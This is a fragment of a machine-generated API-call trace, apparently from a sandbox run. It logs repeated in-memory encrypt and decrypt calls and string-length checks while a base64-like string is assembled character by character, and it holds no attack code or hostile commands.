[0128.179] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.179] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.179] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.179] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0128.179] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0128.179] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.179] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0128.179] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.179] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0128.179] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0128.179] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.179] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0128.179] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.179] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0128.179] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0128.179] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.180] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0128.180] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.180] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0128.180] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0128.180] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.180] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0128.180] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.180] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0128.180] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0128.180] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.180] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0128.180] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.180] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0128.180] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0128.180] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.180] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0128.180] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.181] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0128.181] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0128.181] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.181] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0128.181] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.181] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0128.181] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0128.181] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.181] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0128.181] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.181] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0128.181] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0128.181] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0128.181] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0128.181] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.181] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0128.181] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.182] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0128.182] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0128.182] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.182] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0128.182] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.182] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0128.182] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0128.182] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.182] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0128.182] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.182] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0128.182] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0128.182] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.182] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0128.182] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.182] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0128.182] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0128.182] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.183] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0128.183] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0128.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0128.183] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.183] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0128.183] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0128.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0128.183] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.183] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0128.183] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0128.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0128.183] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.183] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0128.183] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.183] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0128.184] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0128.184] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0128.184] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0128.184] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.184] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0128.184] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.184] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0128.184] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0128.184] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.184] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0128.184] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.184] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0128.184] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0128.184] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.184] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0128.184] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.184] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0128.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0128.185] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.185] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0128.185] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0128.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0128.185] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.185] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0128.185] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0128.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0128.185] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.185] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0128.185] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0128.185] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0128.185] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.186] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0128.186] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0128.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0128.186] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.186] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0128.186] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0128.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0128.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0128.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0128.186] SystemFunction041 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.186] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0128.186] SystemFunction040 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0128.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0128.186] SystemFunction041 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.186] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0128.186] SystemFunction040 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0128.186] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0128.187] SystemFunction041 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.187] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0128.187] SystemFunction040 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0128.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0128.187] SystemFunction041 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.187] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0128.187] SystemFunction040 (in: Memory=0x8e7024c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e7024c) returned 0x0 [0128.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0128.187] SysStringLen 